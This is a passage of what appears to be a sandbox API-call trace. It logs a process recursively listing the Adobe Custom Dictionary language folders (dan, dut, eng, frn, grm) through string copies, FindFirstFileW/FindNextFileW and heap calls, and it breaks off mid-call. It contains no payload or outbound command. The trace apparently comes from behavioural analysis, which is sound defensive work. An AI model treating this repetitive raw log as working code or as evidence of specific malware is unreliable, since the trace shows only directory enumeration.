Custom Dictionary\\" [0151.525] wcscat (in: _Dest=0x9bff08, _Source="dan" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan" [0151.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.525] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan" [0151.525] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\" [0151.525] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*" [0151.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.525] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.525] wcscmp (_String1=".", _String2=".") returned 0 [0151.525] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.525] wcscmp (_String1="..", _String2=".") returned 1 [0151.525] wcscmp (_String1="..", _String2="..") returned 0 [0151.525] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.525] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.526] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.526] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.526] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.526] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1 [0151.526] wcscmp (_String1="dut", _String2=".") returned 1 [0151.526] wcscmp (_String1="dut", _String2="..") returned 1 [0151.526] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.526] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.526] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.526] wcscat (in: _Dest=0x9bff08, _Source="dut" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut" [0151.526] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.526] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut" [0151.526] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\" [0151.526] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*" [0151.526] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.526] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.531] wcscmp (_String1=".", _String2=".") returned 0 [0151.531] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.531] wcscmp (_String1="..", _String2=".") returned 1 [0151.531] wcscmp (_String1="..", _String2="..") returned 0 [0151.531] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.531] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.532] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.532] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.532] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.532] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1 [0151.532] wcscmp (_String1="eng", _String2=".") returned 1 [0151.532] wcscmp (_String1="eng", _String2="..") returned 1 [0151.532] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.532] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.532] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.532] wcscat (in: _Dest=0x9bff08, _Source="eng" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng" [0151.532] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.532] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng" [0151.532] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\" [0151.532] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*" [0151.532] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.532] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.533] wcscmp (_String1=".", _String2=".") returned 0 [0151.533] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.533] wcscmp (_String1="..", _String2=".") returned 1 [0151.533] wcscmp (_String1="..", _String2="..") returned 0 [0151.533] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.533] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.533] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.533] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.533] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.533] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn", cAlternateFileName="")) returned 1 [0151.533] wcscmp (_String1="frn", _String2=".") returned 1 [0151.533] wcscmp (_String1="frn", _String2="..") returned 1 [0151.533] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.533] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.533] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.533] wcscat (in: _Dest=0x9bff08, _Source="frn" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn" [0151.533] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.534] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn" [0151.534] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\" [0151.534] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*" [0151.534] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.534] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.534] wcscmp (_String1=".", _String2=".") returned 0 [0151.534] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.534] wcscmp (_String1="..", _String2=".") returned 1 [0151.534] wcscmp (_String1="..", _String2="..") returned 0 [0151.534] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.534] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.534] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9085e8) returned 1 [0151.534] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 [0151.534] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bff08) returned 1 [0151.534] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm", cAlternateFileName="")) returned 1 [0151.534] wcscmp (_String1="grm", _String2=".") returned 1 [0151.534] wcscmp (_String1="grm", _String2="..") returned 1 [0151.535] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd4) returned 0x9bff08 [0151.535] wcscpy (in: _Dest=0x9bff08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" [0151.535] wcscat (in: _Dest=0x9bff08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\" [0151.535] wcscat (in: _Dest=0x9bff08, _Source="grm" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm" [0151.535] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x904560 [0151.535] wcscpy (in: _Dest=0x904560, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm" [0151.535] wcscat (in: _Dest=0x904560, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\" [0151.535] wcscat (in: _Dest=0x904560, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*" [0151.535] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9085e8 [0151.535] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x93ad78 [0151.535] wcscmp (_String1=".", _String2=".") returned 0 [0151.535] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.535] wcscmp (_String1="..", _String2=".") returned 1 [0151.535] wcscmp (_String1="..", _String2="..") returned 0 [0151.535] FindNextFileW (in: hFindFile=0x93ad78, lpFindFileData=0x9085e8 | out: lpFindFileData=0x9085e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.535] FindClose (in: hFindFile=0x93ad78 | out: hFindFile=0x93ad78) returned 1 [0151.536] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, 